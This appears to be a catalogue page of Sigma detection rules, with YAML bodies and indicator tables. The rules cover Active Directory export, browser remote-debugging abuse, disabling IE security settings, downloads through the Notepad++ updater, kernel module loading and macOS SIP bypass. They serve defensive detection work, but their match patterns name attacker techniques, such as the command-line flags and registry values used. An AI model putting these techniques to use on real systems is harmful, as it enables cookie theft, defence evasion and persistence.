Detection rules › Sigma

Sigma rules: 3i

Active Directory Structure Export Via Ldifde.EXE

#
Status
test
Severity
medium
Author
Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects the execution of "ldifde.exe" in order to export organizational Active Directory structure.

MITRE ATT&CK Coverage

TacticTechniques
ExfiltrationNo specific technique

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: Active Directory Structure Export Via Ldifde.EXE
id: 4f7a6757-ff79-46db-9687-66501a02d9ec
status: test
description: Detects the execution of "ldifde.exe" in order to export organizational Active Directory structure.
references:
    - https://businessinsights.bitdefender.com/deep-dive-into-a-backdoordiplomacy-attack-a-study-of-an-attackers-toolkit
    - https://www.documentcloud.org/documents/5743766-Global-Threat-Report-2019.html
    - https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731033(v=ws.11)
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-03-14
tags:
    - attack.exfiltration
logsource:
    category: process_creation
    product: windows
detection:
    selection_ldif:
        - Image|endswith: '\ldifde.exe'
        - OriginalFileName: 'ldifde.exe'
    selection_cmd:
        CommandLine|contains: '-f'
    filter_import:
        CommandLine|contains: ' -i'
    condition: all of selection_* and not 1 of filter_*
falsepositives:
    - Unknown
level: medium

Stages and Predicates

Stage 0: condition

all of selection_* and not 1 of filter_*

Stage 1: selection_ldif

selection_ldif:
    - Image|endswith: '\ldifde.exe'
    - OriginalFileName: 'ldifde.exe'

Stage 2: selection_cmd

selection_cmd:
    CommandLine|contains: '-f'

Stage 3: not filter_import

filter_import:
    CommandLine|contains: ' -i'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • -f corpus 9 (sigma 7, splunk 2)
field:"CommandLine" kind:match value:"-f"
Imageends_with
  • \ldifde.exe corpus 4 (sigma 4)
field:"Image" kind:ends_with value:"\ldifde.exe"
OriginalFileNameeq
  • ldifde.exe corpus 2 (sigma 2)
field:"OriginalFileName" kind:eq value:"ldifde.exe"

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
CommandLinematch -iexcludes:CommandLine field:"CommandLine" value:" -i"

Bad Opsec Defaults Sacrificial Processes With Improper Arguments

#
Status
test
Severity
high
Author
Oleg Kolesnikov @securonix invrep_de, oscd.community, Florian Roth (Nextron Systems), Christian Burkard (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects attackers using tooling with bad opsec defaults. E.g. spawning a sacrificial process to inject a capability into the process without taking into account how the process is normally run. One trivial example of this is using rundll32.exe without arguments as a sacrificial process (default in CS, now highlighted by c2lint), running WerFault without arguments (Kraken - credit am0nsec), and other examples.

Known False Positives

  • Unlikely

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: Bad Opsec Defaults Sacrificial Processes With Improper Arguments
id: a7c3d773-caef-227e-a7e7-c2f13c622329
related:
    - id: f5647edc-a7bf-4737-ab50-ef8c60dc3add
      type: obsolete
status: test
description: |
    Detects attackers using tooling with bad opsec defaults.
    E.g. spawning a sacrificial process to inject a capability into the process without taking into account how the process is normally run.
    One trivial example of this is using rundll32.exe without arguments as a sacrificial process (default in CS, now highlighted by c2lint), running WerFault without arguments (Kraken - credit am0nsec), and other examples.
references:
    - https://blog.malwarebytes.com/malwarebytes-news/2020/10/kraken-attack-abuses-wer-service/
    - https://www.cobaltstrike.com/help-opsec
    - https://twitter.com/CyberRaiju/status/1251492025678983169
    - https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/regsvr32
    - https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rundll32
    - https://learn.microsoft.com/en-us/dotnet/framework/tools/regasm-exe-assembly-registration-tool
    - https://learn.microsoft.com/en-us/dotnet/framework/tools/regsvcs-exe-net-services-installation-tool
author: Oleg Kolesnikov @securonix invrep_de, oscd.community, Florian Roth (Nextron Systems), Christian Burkard (Nextron Systems)
date: 2020-10-23
modified: 2024-08-15
tags:
    - attack.stealth
    - attack.t1218.011
logsource:
    category: process_creation
    product: windows
detection:
    selection_werfault:
        Image|endswith: '\WerFault.exe'
        CommandLine|endswith: 'WerFault.exe'
    selection_rundll32:
        Image|endswith: '\rundll32.exe'
        CommandLine|endswith: 'rundll32.exe'
    selection_regsvcs:
        Image|endswith: '\regsvcs.exe'
        CommandLine|endswith: 'regsvcs.exe'
    selection_regasm:
        Image|endswith: '\regasm.exe'
        CommandLine|endswith: 'regasm.exe'
    selection_regsvr32:
        Image|endswith: '\regsvr32.exe'
        CommandLine|endswith: 'regsvr32.exe'
    filter_optional_edge_update:
        ParentImage|contains: '\AppData\Local\Microsoft\EdgeUpdate\Install\{'
        Image|endswith: '\rundll32.exe'
        CommandLine|endswith: 'rundll32.exe'
    filter_optional_chromium_installer:
        # As reported in https://github.com/SigmaHQ/sigma/issues/4570 and others
        ParentImage|contains:
            - '\AppData\Local\BraveSoftware\Brave-Browser\Application\'
            - '\AppData\Local\Google\Chrome\Application\'
        ParentImage|endswith: '\Installer\setup.exe'
        ParentCommandLine|contains: '--uninstall '
        Image|endswith: '\rundll32.exe'
        CommandLine|endswith: 'rundll32.exe'
    condition: 1 of selection_* and not 1 of filter_optional_*
falsepositives:
    - Unlikely
level: high

Stages and Predicates

Stage 0: condition

1 of selection_* and not 1 of filter_optional_*

Stage 1: selection_werfault

selection_werfault:
    Image|endswith: '\WerFault.exe'
    CommandLine|endswith: 'WerFault.exe'

Stage 2: selection_rundll32

selection_rundll32:
    Image|endswith: '\rundll32.exe'
    CommandLine|endswith: 'rundll32.exe'

Stage 3: selection_regsvcs

selection_regsvcs:
    Image|endswith: '\regsvcs.exe'
    CommandLine|endswith: 'regsvcs.exe'

Stage 4: selection_regasm

selection_regasm:
    Image|endswith: '\regasm.exe'
    CommandLine|endswith: 'regasm.exe'

Stage 5: selection_regsvr32

selection_regsvr32:
    Image|endswith: '\regsvr32.exe'
    CommandLine|endswith: 'regsvr32.exe'

Stage 6: not filter_optional_*

filter_optional_edge_update:
    ParentImage|contains: '\AppData\Local\Microsoft\EdgeUpdate\Install\{'
    Image|endswith: '\rundll32.exe'
    CommandLine|endswith: 'rundll32.exe'
filter_optional_chromium_installer:
    ParentImage|contains:
        - '\AppData\Local\BraveSoftware\Brave-Browser\Application\'
        - '\AppData\Local\Google\Chrome\Application\'
    ParentImage|endswith: '\Installer\setup.exe'
    ParentCommandLine|contains: '--uninstall '
    Image|endswith: '\rundll32.exe'
    CommandLine|endswith: 'rundll32.exe'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLineends_with
  • WerFault.exe
  • regasm.exe corpus 2 (sigma 2)
  • regsvcs.exe
  • regsvr32.exe
  • rundll32.exe corpus 2 (sigma 2)
field:"CommandLine" kind:ends_with
Imageends_with
  • \WerFault.exe corpus 8 (sigma 8)
  • \regasm.exe corpus 9 (sigma 9)
  • \regsvcs.exe corpus 8 (sigma 8)
  • \regsvr32.exe corpus 64 (sigma 64)
  • \rundll32.exe corpus 94 (sigma 94)
field:"Image" kind:ends_with

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
ParentImagematch\AppData\Local\BraveSoftware\Brave-Browser\Application\excludes:ParentImage field:"ParentImage" value:"\AppData\Local\BraveSoftware\Brave-Browser\Application\"
ParentImagematch\AppData\Local\Google\Chrome\Application\excludes:ParentImage field:"ParentImage" value:"\AppData\Local\Google\Chrome\Application\"
CommandLineends_withrundll32.exeexcludes:CommandLine field:"CommandLine" value:"rundll32.exe"
Imageends_with\rundll32.exeexcludes:Image field:"Image" value:"\rundll32.exe"
ParentCommandLinematch--uninstall excludes:ParentCommandLine field:"ParentCommandLine" value:"--uninstall "
ParentImageends_with\Installer\setup.exeexcludes:ParentImage field:"ParentImage" value:"\Installer\setup.exe"
ParentImagematch\AppData\Local\Microsoft\EdgeUpdate\Install\{excludes:ParentImage field:"ParentImage" value:"\AppData\Local\Microsoft\EdgeUpdate\Install\{"

Browser Started with Remote Debugging

#
Status
test
Severity
medium
Author
pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects browsers starting with the remote debugging flags. Which is a technique often used to perform browser injection attacks

MITRE ATT&CK Coverage

TacticTechniques
Collection

Telemetry Coverage

Rule Body

title: Browser Started with Remote Debugging
id: b3d34dc5-2efd-4ae3-845f-8ec14921f449
related:
    - id: 3e8207c5-fcd2-4ea6-9418-15d45b4890e4
      type: derived
status: test
description: Detects browsers starting with the remote debugging flags. Which is a technique often used to perform browser injection attacks
references:
    - https://yoroi.company/wp-content/uploads/2022/05/EternityGroup_report_compressed.pdf
    - https://www.mdsec.co.uk/2022/10/analysing-lastpass-part-1/
    - https://github.com/defaultnamehere/cookie_crimes/
    - https://github.com/wunderwuzzi23/firefox-cookiemonster
author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)
date: 2022-07-27
modified: 2022-12-23
tags:
    - attack.credential-access
    - attack.collection
    - attack.t1185
logsource:
    category: process_creation
    product: windows
detection:
    selection_chromium_based:
        # Covers: --remote-debugging-address, --remote-debugging-port, --remote-debugging-socket-name, --remote-debugging-pipe....etc
        CommandLine|contains: ' --remote-debugging-'
    selection_firefox:
        Image|endswith: '\firefox.exe'
        CommandLine|contains: ' -start-debugger-server'
    condition: 1 of selection_*
falsepositives:
    - Unknown
level: medium

Stages and Predicates

Stage 0: condition

1 of selection_*

Stage 1: selection_chromium_based

selection_chromium_based:
    CommandLine|contains: ' --remote-debugging-'

Stage 2: selection_firefox

selection_firefox:
    Image|endswith: '\firefox.exe'
    CommandLine|contains: ' -start-debugger-server'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • --remote-debugging-
  • -start-debugger-server
field:"CommandLine" kind:match
Imageends_with
  • \firefox.exe corpus 6 (sigma 6)
field:"Image" kind:ends_with value:"\firefox.exe"

Cleartext Protocol Usage

#
Status
stable
Severity
low
Author
Alexandr Yampolskyi, SOC Prime, Tim Shelton
Source
github.com/SigmaHQ/sigma

Ensure that all account usernames and authentication credentials are transmitted across networks using encrypted channels. Ensure that an encryption is used for all sensitive information in transit. Ensure that an encrypted channels is used for all administrative account access.

MITRE ATT&CK Coverage

TacticTechniques
Credential AccessNo specific technique

Rule Body

title: Cleartext Protocol Usage
id: d7fb8f0e-bd5f-45c2-b467-19571c490d7e
status: stable
description: |
    Ensure that all account usernames and authentication credentials are transmitted across networks using encrypted channels.
    Ensure that an encryption is used for all sensitive information in transit. Ensure that an encrypted channels is used for all administrative account access.
references:
    - https://www.cisecurity.org/controls/cis-controls-list/
    - https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf
    - https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf
author: Alexandr Yampolskyi, SOC Prime, Tim Shelton
date: 2019-03-26
modified: 2022-10-10
tags:
    - attack.credential-access
    # - CSC4
    # - CSC4.5
    # - CSC14
    # - CSC14.4
    # - CSC16
    # - CSC16.5
    # - NIST CSF 1.1 PR.AT-2
    # - NIST CSF 1.1 PR.MA-2
    # - NIST CSF 1.1 PR.PT-3
    # - NIST CSF 1.1 PR.AC-1
    # - NIST CSF 1.1 PR.AC-4
    # - NIST CSF 1.1 PR.AC-5
    # - NIST CSF 1.1 PR.AC-6
    # - NIST CSF 1.1 PR.AC-7
    # - NIST CSF 1.1 PR.DS-1
    # - NIST CSF 1.1 PR.DS-2
    # - ISO 27002-2013 A.9.2.1
    # - ISO 27002-2013 A.9.2.2
    # - ISO 27002-2013 A.9.2.3
    # - ISO 27002-2013 A.9.2.4
    # - ISO 27002-2013 A.9.2.5
    # - ISO 27002-2013 A.9.2.6
    # - ISO 27002-2013 A.9.3.1
    # - ISO 27002-2013 A.9.4.1
    # - ISO 27002-2013 A.9.4.2
    # - ISO 27002-2013 A.9.4.3
    # - ISO 27002-2013 A.9.4.4
    # - ISO 27002-2013 A.8.3.1
    # - ISO 27002-2013 A.9.1.1
    # - ISO 27002-2013 A.10.1.1
    # - PCI DSS 3.2 2.1
    # - PCI DSS 3.2 8.1
    # - PCI DSS 3.2 8.2
    # - PCI DSS 3.2 8.3
    # - PCI DSS 3.2 8.7
    # - PCI DSS 3.2 8.8
    # - PCI DSS 3.2 1.3
    # - PCI DSS 3.2 1.4
    # - PCI DSS 3.2 4.3
    # - PCI DSS 3.2 7.1
    # - PCI DSS 3.2 7.2
    # - PCI DSS 3.2 7.3
logsource:
    category: firewall
detection:
    selection:
        dst_port:
            - 8080
            - 21
            - 80
            - 23
            - 50000
            - 1521
            - 27017
            - 3306
            - 1433
            - 11211
            - 15672
            - 5900
            - 5901
            - 5902
            - 5903
            - 5904
    selection_allow1:
        action:
            - forward
            - accept
            - 2
    selection_allow2:
        blocked: "false" # not all fws set action value, but are set to mark as blocked or allowed or not
    condition: selection and 1 of selection_allow*
falsepositives:
    - Unknown
level: low

Stages and Predicates

Stage 0: condition

selection and 1 of selection_allow*

Stage 1: selection

selection:
    dst_port:
        - 8080
        - 21
        - 80
        - 23
        - 50000
        - 1521
        - 27017
        - 3306
        - 1433
        - 11211
        - 15672
        - 5900
        - 5901
        - 5902
        - 5903
        - 5904

Stage 2: selection_allow1

selection_allow1:
    action:
        - forward
        - accept
        - 2

Stage 3: selection_allow2

selection_allow2:
    blocked: "false"

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
actioneq
  • 2
  • accept
  • forward
field:"action" kind:eq
blockedeq
  • false
field:"blocked" kind:eq value:"false"
dst_porteq
  • 11211
  • 1433
  • 1521
  • 15672
  • 21
  • 23
  • 27017
  • 3306
  • 50000
  • 5900
  • 5901
  • 5902
  • 5903
  • 5904
  • 80
  • 8080
field:"dst_port" kind:eq

Creation of large amount of unverified accounts

#
Status
experimental
Severity
medium
Time window
30d
Author
Okta
Source
github.com/auth0/auth0-customer-detections

Detect rapid creation of large amounts of unverified accounts, which may be a precursor to fraudulent activity or account exploitation. Unverified accounts can be created by attackers or automated bots attempting to test the system or conduct fraudulent activities.

Known False Positives

  • This rule is designed for threat hunting and serves as a starting point for further investigation.
  • Legitimate users may not verify their email immediately after signup, leading to false positives.

MITRE ATT&CK Coverage

TacticTechniques
ReconnaissanceNo specific technique
Credential AccessNo specific technique

Rule Body

title: Creation of large amount of unverified accounts
id: 6ef35d2c-ae8f-4b42-91b8-67915c7e41ff
name: selected_events
status: experimental
description: |
    Detect rapid creation of large amounts of unverified accounts, which may be a precursor to fraudulent activity or account exploitation.
    Unverified accounts can be created by attackers or automated bots attempting to test the system or conduct fraudulent activities.
author: Okta
date: 2025-09-16
modified: 2025-09-17
logsource:
    product: auth0
detection:
    selection:
        data.type:
            - ss # successful signup
            - sv # email verification
    collect_email_domains:
        data.user_name|re: ".+@(.+)"
    condition: selection and collect_email_domains
explanation: >
    This detection collects two events: a successful user signup ('ss') and a successful email verification ('sv').
    It identifies users who have signed up but have not completed the email verification process within a specified time
    window, which is an indicator of suspicious activity by creating puppet accounts.
    The Sigma detection uses a correlated rule, which is configured in two parts: base and correlation,
    see https://sigmahq.io/docs/meta/correlations.html.
    The Splunk query also provides options to monitor a number of unverified users and used domains.
splunk: |
    index=auth0 data.tenant_name="{your-tenant-name}"
    data.type IN (ss sv)
    | fields data.user_name, data.type, data.user_id
    ``` Calculations ```
    | eval elapsed_time = (now() - _time) / 60
    | rex field=data.user_name ".+@(?<user_domain>.*)"
    | stats values(data.type) as event_types, count(data.type) as cnt_events_per_user, min(elapsed_time) as
     min_elapsed_time by data.user_name data.user_id user_domain
    ``` Filtering for users who has not completed email verification within a specified time window,
    i.e. we see just one event (ss) ```
    | where cnt_events_per_user = 1 and min_elapsed_time > {threshold_not_verified_within_X_min}
    ``` Display information about unverified users```
    | table data.user_id, data.user_name, user_domain, event_types, min_elapsed_time
    ``` Option 1 - Alert when a number of created unverified users exceeds a threshold```
    ```| stats count(data.user_id) as unverified_user_cnt
    | where unverified_user_cnt > {threshold_indicating_surge_of_unverified_users} ```
    ``` Option 2 - Extend the detection to monitor high-volume unvalidated domains ```
    ```| stats count as cnt_domain by user_domain`
    | where cnt_domain > {threshold_indicating_surge_of_email_domains} ```
comments:
    - The Splunk query requires a valid tenant name and a threshold to be defined for the unverified time window
     (threshold_not_verified_within_X_min)
    - This Splunk query can be modified in two ways by simply uncommenting respective clauses.
      Option 1 - allows to alert when a surge in unverified users has been observed, i.e. threshold_indicating_surge_of_unverified_users.
      Option 2 - allows to alert when a surge in email domains has been observed, i.e. threshold_indicating_surge_of_email_domains.
    - To establish baselines, it is recommended to run the query over a period of time to calculate normal thresholds based on observed data.
tenant_logs: |
    type: (ss sv)
prevention:
    - Enforce Email OTP verification during signup instead of relying on a post-signup email link.
    - Deny access to unverified accounts to reduce the risk of abuse with post-login actions.
    - Delete or block unverified accounts with automation (e.g. batch job or Okta workflows).
    - Alternatively, introduce higher friction by assessing risk signals and forcing Adaptive MFA via post-login actions.
    - Enable velocity-based attack protection features, i.e. suspicious IP throttling and bot detection, to detect
      and block suspicious activities.
falsepositives:
    - This rule is designed for threat hunting and serves as a starting point for further investigation.
    - Legitimate users may not verify their email immediately after signup, leading to false positives.
level: medium
tags:
    - attack.credential-access
    - attack.reconnaissance
---
title: Creation of many unverified accounts
id: b15b7fbe-a53a-4675-b51b-84f604803001
correlation:
    type: value_count
    rules:
        - selected_events # Referenced here
    group-by:
        - data.user_name
        - data.user_id
    timespan: 30d
    condition:
        lte: 1
        field: data.type

Stages and Predicates

Stage 0: condition

selection and collect_email_domains

Stage 1: selection

selection:
    data.type:
        - ss
        - sv

Stage 2: collect_email_domains

collect_email_domains:
    data.user_name|re: ".+@(.+)"

Indicators

These rows show field, operator, and value matches.

Device Registration or Join Without MFA

#
Status
test
Severity
medium
Author
Michael Epping, '@mepples21'
Source
github.com/SigmaHQ/sigma

Monitor and alert for device registration or join events where MFA was not performed.

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Device Registration or Join Without MFA
id: 5afa454e-030c-4ab4-9253-a90aa7fcc581
status: test
description: Monitor and alert for device registration or join events where MFA was not performed.
references:
    - https://learn.microsoft.com/en-us/entra/architecture/security-operations-devices#device-registrations-and-joins-outside-policy
author: Michael Epping, '@mepples21'
date: 2022-06-28
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.initial-access
    - attack.stealth
    - attack.t1078.004
logsource:
    product: azure
    service: signinlogs
detection:
    selection:
        ResourceDisplayName: 'Device Registration Service'
        conditionalAccessStatus: 'success'
    filter_mfa:
        AuthenticationRequirement: 'multiFactorAuthentication'
    condition: selection and not filter_mfa
falsepositives:
    - Unknown
level: medium

Stages and Predicates

Stage 0: condition

selection and not filter_mfa

Stage 1: selection

selection:
    ResourceDisplayName: 'Device Registration Service'
    conditionalAccessStatus: 'success'

Stage 2: not filter_mfa

filter_mfa:
    AuthenticationRequirement: 'multiFactorAuthentication'

Indicators

These rows show field, operator, and value matches.

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
AuthenticationRequirementeqmultiFactorAuthenticationexcludes:AuthenticationRequirement field:"AuthenticationRequirement" value:"multiFactorAuthentication"

Disabled IE Security Features

#
Status
test
Severity
high
Author
Florian Roth (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects command lines that indicate unwanted modifications to registry keys that disable important Internet Explorer security features

MITRE ATT&CK Coverage

TacticTechniques
Defense Impairment

Telemetry Coverage

Rule Body

title: Disabled IE Security Features
id: fb50eb7a-5ab1-43ae-bcc9-091818cb8424
status: test
description: Detects command lines that indicate unwanted modifications to registry keys that disable important Internet Explorer security features
references:
    - https://unit42.paloaltonetworks.com/operation-ke3chang-resurfaces-with-new-tidepool-malware/
author: Florian Roth (Nextron Systems)
date: 2020-06-19
modified: 2021-11-27
tags:
    - attack.defense-impairment
    - attack.t1685
logsource:
    category: process_creation
    product: windows
detection:
    selection1:
        CommandLine|contains|all:
            - ' -name IEHarden '
            - ' -value 0 '
    selection2:
        CommandLine|contains|all:
            - ' -name DEPOff '
            - ' -value 1 '
    selection3:
        CommandLine|contains|all:
            - ' -name DisableFirstRunCustomize '
            - ' -value 2 '
    condition: 1 of selection*
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

1 of selection*

Stage 1: selection1

selection1:
    CommandLine|contains|all:
        - ' -name IEHarden '
        - ' -value 0 '

Stage 2: selection2

selection2:
    CommandLine|contains|all:
        - ' -name DEPOff '
        - ' -value 1 '

Stage 3: selection3

selection3:
    CommandLine|contains|all:
        - ' -name DisableFirstRunCustomize '
        - ' -value 2 '

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • -name DEPOff
  • -name DisableFirstRunCustomize
  • -name IEHarden
  • -value 0
  • -value 1
  • -value 2
field:"CommandLine" kind:match

File Download Using Notepad++ GUP Utility

#
Status
test
Severity
high
Author
Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects execution of the Notepad++ updater (gup) from a process other than Notepad++ to download files.

Known False Positives

  • Other parent processes other than notepad++ using GUP that are not currently identified

MITRE ATT&CK Coverage

TacticTechniques
Command & Control

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: File Download Using Notepad++ GUP Utility
id: 44143844-0631-49ab-97a0-96387d6b2d7c
status: test
description: Detects execution of the Notepad++ updater (gup) from a process other than Notepad++ to download files.
references:
    - https://twitter.com/nas_bench/status/1535322182863179776
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-06-10
modified: 2023-03-02
tags:
    - attack.command-and-control
    - attack.t1105
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith: '\GUP.exe'
        - OriginalFileName: 'gup.exe'
    selection_cli:
        CommandLine|contains|all:
            - ' -unzipTo '
            - 'http'
    filter:
        ParentImage|endswith: '\notepad++.exe'
    condition: all of selection* and not filter
falsepositives:
    - Other parent processes other than notepad++ using GUP that are not currently identified
level: high

Stages and Predicates

Stage 0: condition

all of selection* and not filter

Stage 1: selection_img

selection_img:
    - Image|endswith: '\GUP.exe'
    - OriginalFileName: 'gup.exe'

Stage 2: selection_cli

selection_cli:
    CommandLine|contains|all:
        - ' -unzipTo '
        - 'http'

Stage 3: not filter

filter:
    ParentImage|endswith: '\notepad++.exe'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • -unzipTo
  • http corpus 45 (sigma 34, elastic 10, splunk 1)
field:"CommandLine" kind:match
Imageends_with
  • \GUP.exe corpus 5 (sigma 5)
field:"Image" kind:ends_with value:"\GUP.exe"
OriginalFileNameeq
  • gup.exe
field:"OriginalFileName" kind:eq value:"gup.exe"

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
ParentImageends_with\notepad++.exeexcludes:ParentImage field:"ParentImage" value:"\notepad++.exe"

GitHub Repository Archive Status Changed

#
Status
experimental
Severity
low
Author
Ivan Saakov
Source
github.com/SigmaHQ/sigma

Detects when a GitHub repository is archived or unarchived, which may indicate unauthorized changes to repository status.

Known False Positives

  • Archiving or unarchiving a repository is often legitimate. Investigate this action to determine if it was authorized.

MITRE ATT&CK Coverage

TacticTechniques
PersistenceNo specific technique
Defense ImpairmentNo specific technique
ImpactNo specific technique

Telemetry Coverage

Rules Detecting the Same Action

These rules filter on the same operation.

Rule Body

title: GitHub Repository Archive Status Changed
id: dca8991c-cb16-4128-abf8-6b11e5cd156f
status: experimental
description: |
    Detects when a GitHub repository is archived or unarchived, which may indicate unauthorized changes to repository status.
references:
    - https://docs.github.com/en/repositories/archiving-a-github-repository/archiving-repositories
    - https://www.sentinelone.com/blog/exploiting-repos-6-ways-threat-actors-abuse-github-other-devops-platforms
    - https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/security-log-events
author: Ivan Saakov
date: 2025-10-18
tags:
    - attack.persistence
    - attack.impact
    - attack.defense-impairment
logsource:
    product: github
    service: audit
detection:
    selection:
        action:
            - 'repo.archived'
            - 'repo.unarchived'
    condition: selection
falsepositives:
    - Archiving or unarchiving a repository is often legitimate. Investigate this action to determine if it was authorized.
level: low

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    action:
        - 'repo.archived'
        - 'repo.unarchived'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
actioneq
  • repo.archived corpus 3 (sigma 1, splunk 1, panther 1)
  • repo.unarchived
field:"action" kind:eq

Loading of Kernel Module via Insmod

#
Status
test
Severity
high
Author
Pawel Mazur
Source
github.com/SigmaHQ/sigma

Detects loading of kernel modules with insmod command. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. Adversaries may use LKMs to obtain persistence within the system or elevate the privileges.

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Loading of Kernel Module via Insmod
id: 106d7cbd-80ff-4985-b682-a7043e5acb72
status: test
description: |
    Detects loading of kernel modules with insmod command.
    Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand.
    Adversaries may use LKMs to obtain persistence within the system or elevate the privileges.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.006/T1547.006.md
    - https://linux.die.net/man/8/insmod
    - https://man7.org/linux/man-pages/man8/kmod.8.html
author: 'Pawel Mazur'
date: 2021-11-02
modified: 2022-12-25
tags:
    - attack.persistence
    - attack.privilege-escalation
    - attack.t1547.006
logsource:
    product: linux
    service: auditd
detection:
    selection:
        type: 'SYSCALL'
        comm: insmod
        exe: /usr/bin/kmod
    condition: selection
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    type: 'SYSCALL'
    comm: insmod
    exe: /usr/bin/kmod

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
commeq
  • insmod corpus 2 (sigma 1, splunk 1)
field:"comm" kind:eq value:"insmod"
exeeq
  • /usr/bin/kmod
field:"exe" kind:eq value:"/usr/bin/kmod"
typeeq
  • SYSCALL corpus 27 (splunk 15, sigma 12)
field:"type" kind:eq value:"SYSCALL"

macOS Data Compression Tools

#
Status
experimental
Severity
low
Author
Eric Brown - Nebulock, Inc.
Source
github.com/Nebulock-Inc/macos-coresigma

Detects execution of data compression tools (zip, tar, gzip) which may indicate data staging for exfiltration. Adversaries often compress data before exfiltration to reduce size and evade detection. Monitor for suspicious compression patterns.

Known False Positives

  • Legitimate file compression for backups
  • Software installation and updates
  • User file management activities
  • Automated backup scripts

MITRE ATT&CK Coverage

Rule Body

title: macOS Data Compression Tools
id: 5906b20c-036d-46f9-8394-2cc8f711c46b
status: experimental
description: 'Detects execution of data compression tools (zip, tar, gzip) which may
  indicate

  data staging for exfiltration. Adversaries often compress data before exfiltration

  to reduce size and evade detection. Monitor for suspicious compression patterns.

  '
author: Eric Brown - Nebulock, Inc.
date: 2025/10/31
modified: 2025/10/31
references:
- https://attack.mitre.org/techniques/T1560/
- https://attack.mitre.org/techniques/T1560/001/
logsource:
  product: macos
  service: endpointsecurity
detection:
  selection_event:
    esf.event_type: 9
    event.action: exec
  selection_process:
    Image|endswith:
    - /zip
    - /tar
    - /gzip
    - /bzip2
    - /7z
    - /rar
    - /unrar
  condition: selection_event and selection_process
falsepositives:
- Legitimate file compression for backups
- Software installation and updates
- User file management activities
- Automated backup scripts
fields:
- Image
- CommandLine
- ProcessId
- ParentProcessId
- User
tags:
- attack.exfiltration
- attack.t1560
- attack.t1560.001
level: low

Stages and Predicates

Stage 0: condition

selection_event and selection_process

Stage 1: selection_event

selection_event:
  esf.event_type: 9
  event.action: exec

Stage 2: selection_process

selection_process:
  Image|endswith:
  - /zip
  - /tar
  - /gzip
  - /bzip2
  - /7z
  - /rar
  - /unrar

Indicators

These rows show field, operator, and value matches.

macOS System Integrity Protection Modification Attempt

#
Status
experimental
Severity
critical
Author
Eric Brown - Nebulock, Inc.
Source
github.com/Nebulock-Inc/macos-coresigma

Detects attempts to modify or bypass System Integrity Protection (SIP), which protects critical system files and processes. Disabling SIP is a common step in rootkit installation and advanced malware attacks.

Known False Positives

  • Security researchers in controlled environments
  • System administrators performing legitimate tasks

MITRE ATT&CK Coverage

TacticTechniques
Defense Impairment

Rule Body

title: macOS System Integrity Protection Modification Attempt
id: a7b8c9d0-e1f2-4345-0123-456789012345
status: experimental
description: |
  Detects attempts to modify or bypass System Integrity Protection (SIP),
  which protects critical system files and processes. Disabling SIP is a
  common step in rootkit installation and advanced malware attacks.
references:
  - https://attack.mitre.org/techniques/T1562/001/
  - https://support.apple.com/en-us/HT204899
author: Eric Brown - Nebulock, Inc.
date: 2025/01/22
modified: 2025/01/22
logsource:
  product: macos
  service: unifiedlog
detection:
  selection_subsystem:
    subsystem: com.apple.syspolicy
  selection_sip:
    message|contains:
      - 'System Integrity Protection'
      - 'SIP'
      - 'csrutil'
      - 'rootless'
      - 'protected'
  selection_modification:
    message|contains:
      - 'disable'
      - 'disabled'
      - 'bypass'
      - 'violation'
      - 'denied'
      - 'blocked'
  condition: selection_subsystem and selection_sip and selection_modification
falsepositives:
  - Security researchers in controlled environments
  - System administrators performing legitimate tasks
level: critical
tags:
  - attack.defense_evasion
  - attack.t1562.001

Stages and Predicates

Stage 0: condition

selection_subsystem and selection_sip and selection_modification

Stage 1: selection_subsystem

selection_subsystem:
  subsystem: com.apple.syspolicy

Stage 2: selection_sip

selection_sip:
  message|contains:
    - 'System Integrity Protection'
    - 'SIP'
    - 'csrutil'
    - 'rootless'
    - 'protected'

Stage 3: selection_modification

selection_modification:
  message|contains:
    - 'disable'
    - 'disabled'
    - 'bypass'
